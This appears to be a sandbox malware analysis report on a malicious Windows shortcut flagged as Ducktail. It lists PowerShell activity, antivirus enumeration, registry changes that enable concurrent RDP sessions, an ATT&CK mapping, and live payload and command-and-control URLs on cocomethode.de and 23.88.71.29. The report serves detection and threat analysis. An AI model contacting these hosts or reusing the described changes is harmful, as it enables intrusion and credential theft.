Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation

Source: C:\Windows\Temp\svczHost.exe

Code function: 21_2_00007FF7B1C0BFE0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

21_2_00007FF7B1C0BFE0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies security policies related information

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa DisableRestrictedAdmin

Source: powershell.exe, 00000004.00000002.290374356507.00000236C0D9C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290370225523.00000236C0C29000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290371725375.00000236C0C9A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.291082598003.000001D79C489000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000010.00000002.291082598003.000001D79C495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: amFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000010.00000002.291082598003.000001D79C4D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 9020, type: MEMORYSTR
Source: Yara match	File source: 00000004.00000002.290271848956.00000236A91EA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: amsi64_8300.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8300, type: MEMORYSTR

Remote Access Functionality

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 9020, type: MEMORYSTR
Source: Yara match	File source: 00000004.00000002.290271848956.00000236A91EA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: amsi64_8300.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8300, type: MEMORYSTR

Allows multiple concurrent remote connection

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fSingleSessionPerUser

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	541 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	11 Windows Service	11 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Process Injection	1 Obfuscated Files or Information	Security Account Manager	136 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	5 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	451 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Process Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	23 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
L0jeOoavu4.lnk	29%	ReversingLabs	Shortcut.Trojan.Pantera
L0jeOoavu4.lnk	100%	Joe Sandbox ML
L0jeOoavu4.lnk	35%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
cocomethode.de	7%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://cocomethode.de	7%	Virustotal		Browse
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222	100%	Avira URL Cloud	malware
https://account.liv	0%	Avira URL Cloud	safe
http://cocomethode.de	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd8	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba41404449ae433	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e	100%	Avira URL Cloud	malware
https://login.live	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382	100%	Avira URL Cloud	malware
https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/181	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.png	0%	Avira URL Cloud	safe
https://go.micro	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e6804767129f4b5fe289	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/b0cdda893b0765c99d30cddae6fd74c48ea8c4a5922a60ed3ef018a1ea2b77873615eb3	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a0	100%	Avira URL Cloud	malware
http://crl.micA	0%	Avira URL Cloud	safe
http://crl.microsof	0%	Avira URL Cloud	safe
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
http://cocomethode.de/api/check	100%	Avira URL Cloud	malware
http://23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f5	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.pngXz	0%	Avira URL Cloud	safe
http://html4/loose.dtd	0%	Avira URL Cloud	safe
https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dca	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1	100%	Avira URL Cloud	malware
https://cocomethode.de	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fa	100%	Avira URL Cloud	malware
http://.css	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f	100%	Avira URL Cloud	malware
https://cocomethode.de/Zd	100%	Avira URL Cloud	malware
https://login.liUTF-16p	0%	Avira URL Cloud	safe
https://ocsp.quovadisoffshore.com0	0%	Avira URL Cloud	safe
http://crl.micr	0%	Avira URL Cloud	safe
http://.jpg	0%	Avira URL Cloud	safe
http://crl.t.com/pki/crl/pr(	0%	Avira URL Cloud	safe
http://wsoft.com/pki/ceroCerAut_2010-06-	0%	Avira URL Cloud	safe
http://23.88.71.29:8000/api/registry	0%	Avira URL Cloud	safe
http://www.microsoft.c=hs	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5	100%	Avira URL Cloud	malware
https://cocomethode.de/StaticFile/TermServiceTryRun/46	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.pngh	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba105142fb5a18040cae83c6cdcf9ff4eb	100%	Avira URL Cloud	malware
http://23.88.71.29:8000/client/ws	0%	Avira URL Cloud	safe
http://cocomethode.de:443/	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba41404449ae4336e9bc7aa16a310feabd	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4	100%	Avira URL Cloud	malware
http://schemas.openxmlT	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/b0c	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cocomethode.de	172.67.128.139	true	true	7%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/181	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e6804767129f4b5fe289	true	Avira URL Cloud: malware	unknown
http://cocomethode.de/api/check	true	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/Zd	true	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/api/registry	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/StaticFile/TermServiceTryRun/46	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba105142fb5a18040cae83c6cdcf9ff4eb	true	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/client/ws	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba41404449ae4336e9bc7aa16a310feabd	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdtp:	svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdoap.or	svchost.exe, 00000013.00000003.290209973025.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/XX	svchost.exe, 00000013.00000002.291509925499.000001ABCB885000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.liv	svchost.exe, 00000013.00000002.291511785559.000001ABCB902000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trustcom	svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cocomethode.de	powershell.exe, 00000008.00000002.290161989907.000001A109263000.00000004.00000800.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2004/09/policye	svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/609aafcaa	powershell.exe, 00000004.00000002.290271848956.00000236AA267000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd8	powershell.exe, 00000004.00000002.290271848956.00000236A8D22000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e	powershell.exe, 00000004.00000002.290271848956.00000236AA267000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236AAC30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236AAA1E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY	powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 00000013.00000002.291513425577.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	svczHost.exe, myRdpService.exe	false		high
https://aka.ms/nativeaot-compatibility	myRdpService.exe	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.290050915734.0000014DF0D0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290036765742.0000014DE208D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290050915734.0000014DF0E44000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290359074322.00000236B89A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109BF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290197199701.000001A118623000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.asUTF-81	svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.290036765742.0000014DE0C91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236A8931000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A1085B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D784021000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	false		high
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba41404449ae433	powershell.exe, 00000004.00000002.290271848956.00000236A8D22000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://login.live	svchost.exe, 00000013.00000002.291511785559.000001ABCB902000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdema#1	svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.290161989907.000001A109A7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.290161989907.000001A10941D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D7843E2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.290161989907.000001A109A7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000008.00000002.290161989907.000001A1098F5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/MartinKuschnik/WmiLight	svczHost.exe, 00000015.00000002.291513678526.0000026D5A248000.00000004.00001000.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibilityy	powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	false		high
